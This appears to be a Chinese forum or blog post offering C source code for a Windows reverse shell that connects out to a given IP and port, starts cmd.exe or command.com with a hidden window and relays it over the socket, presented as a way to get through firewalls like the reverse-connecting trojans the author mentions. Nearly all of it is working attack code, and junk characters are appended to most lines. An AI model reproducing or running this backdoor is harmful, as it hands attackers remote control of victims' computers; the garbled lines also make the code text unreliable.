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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o,qq*}=  
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/* ============================== r_R( kns  
Rebound port in Windows NT M~/Pk7CC  
By wind,2006/7 b"4'*<=au  
===============================*/ '%Fg+cZN\  
#include -9PJ4"H  
#include |)TI&T;k  
~,Y xUn8@  
#pragma comment(lib,"wsock32.lib") f%,Vplb  
%<dvdIB  
void OutputShell(); WZ@hP'Zc  
SOCKET sClient; I1f4u6\*X  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }xx"  
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void main(int argc,char **argv) /$[9-G?  
{ [|qV*3 |?  
WSADATA stWsaData; s+m3&(X  
int nRet; Ga<Uvr%+  
SOCKADDR_IN stSaiClient,stSaiServer; @n|Mr/PAj  
*r)/Vx`S  
if(argc != 3) UY5wef2sF  
{ 8'sT zB]  
printf("Useage:\n\rRebound DestIP DestPort\n"); w]@H]>sHd  
return; (r6'q0[  
} Aj{c s  
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WSAStartup(MAKEWORD(2,2),&stWsaData); og[cwa_  
~`Y!_'(x  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1j_gQ,'20  
}yzCq+  
stSaiClient.sin_family = AF_INET; QG1+*J76b@  
stSaiClient.sin_port = htons(0); !l(D0 C  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )tvP|  
:?!b\LJ2^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {<}9r6k;f  
{ #Vy8<Vy&w  
printf("Bind Socket Failed!\n"); omP\qOc  
return; ayGcc`  
} XJZ\ss  
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stSaiServer.sin_family = AF_INET; @> |3d  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n2V $dF4m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #}p@+rkg2  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n 9>**&5L  
{ C ^IPddw>  
printf("Connect Error!"); V?L8BRnV  
return; "M;aNi^B  
} fEo5j`}  
OutputShell(); 8@ZZ[9kt  
} T)Y{>wT  
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void OutputShell() 79*f <Gr  
{ 9 _oAs"w  
char szBuff[1024]; .vnQZ*6  
SECURITY_ATTRIBUTES stSecurityAttributes; { 1eW*9  
OSVERSIONINFO stOsversionInfo; 39qIoaHT  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;;|o+4Ob;  
STARTUPINFO stStartupInfo; ^? V9  
char *szShell; Z g.La<#  
PROCESS_INFORMATION stProcessInformation; +$YH dgZ.  
unsigned long lBytesRead; 7gc?7TM  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9,?7mgZ p  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); y3 "+4e  
stSecurityAttributes.lpSecurityDescriptor = 0; 5La' I7q  
stSecurityAttributes.bInheritHandle = TRUE; ^qY?x7mx1  
eH_< <Xh!v  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); L`"j> ),  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); G"F)t(iX  
g-~]^$  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^ 'ws/(  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h-<Qj,L{W  
stStartupInfo.wShowWindow = SW_HIDE; |}o6N5)  
stStartupInfo.hStdInput = hReadPipe; cx ~XG  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~@\sN+VS  
j4:Xel/  
GetVersionEx(&stOsversionInfo); 60R]Q  
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switch(stOsversionInfo.dwPlatformId) 4KX\'K  
{ 4aiI&,  
case 1: w{WEYS  
szShell = "command.com"; ,hOi5,|?L  
break; ElA(1o|9I  
default: TCR|wi] kW  
szShell = "cmd.exe"; l3xI\{jn  
break; P,rD{ 0~  
} /:d6I].  
`aDVN_h{6  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m%cwhH_B  
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send(sClient,szMsg,77,0); @R_ON"h  
while(1) .(7m[-iF!  
{ \ZtKaEXnx  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); af'gk&%  
if(lBytesRead) LP'wL6#  
{ `^HK-t4q  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]1 jhy2j  
send(sClient,szBuff,lBytesRead,0); \4KV9wm  
} aH_0EBRc  
else CB0p2WS_  
{ 8shx7"  
lBytesRead=recv(sClient,szBuff,1024,0); qg2Vmj<H  
if(lBytesRead<=0) break; {kghZur  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Vb)NWXmyu  
} (]` rri*^  
}  20]p<  
a%2K,.J  
return; s o7.$]aV  
}
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